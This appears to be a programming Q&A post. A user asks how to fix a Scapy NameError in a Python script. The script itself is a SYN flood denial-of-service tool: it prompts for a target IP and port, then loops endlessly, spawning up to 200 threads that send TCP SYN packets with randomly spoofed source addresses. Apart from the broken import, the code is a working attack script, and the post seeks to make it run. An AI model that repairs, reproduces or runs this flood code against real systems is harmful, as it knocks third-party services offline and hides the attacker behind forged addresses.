title: Scapy in Python script
body: <p>I'm writing a script in Python which use Scapy but my problem is that the exception is:</p>
  
  <blockquote>
    <p>i = IP()</p>
    
    <p>NameError: global name 'IP' is not defined</p>
  </blockquote>
  
  <p>This is my script:</p>
  
  <pre><code>import random
  from scapy import *
  import threading
  import logging
  logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  
  print ("Which IP would you like to choose?")
  ip = raw_input("--&gt;")
  print ("Which Port would you like to choose?")
  port = raw_input("--&gt;")
  
  class sendSYN(threading.Thread):
      global ip, port
  
      def __init__(self):
          threading.Thread.__init__(self)
  
      def run(self):
          # Method -
          i = IP()
          i.src = "%i.%i.%i.%i" % (random.randint(1, 254), random.randint(1, 254), random.randint(1, 254), random.randint(1, 254))
          i.dst = ip
  
          t = TCP()
          t.sport = random.randint(1, 65535)
          t.dport = port
          t.flags = 'S'
  
          send(i/t, verbose=0)
  
  count = 0
  while True:
      if threading.activeCount() &lt; 200:
          sendSYN().start()
          count += 1
          if count % 100 == 0:
              print ("\rPackets SYN\t:\t\t\t%i" % count)
  </code></pre>
  
  <p>What should I do to fix it?</p>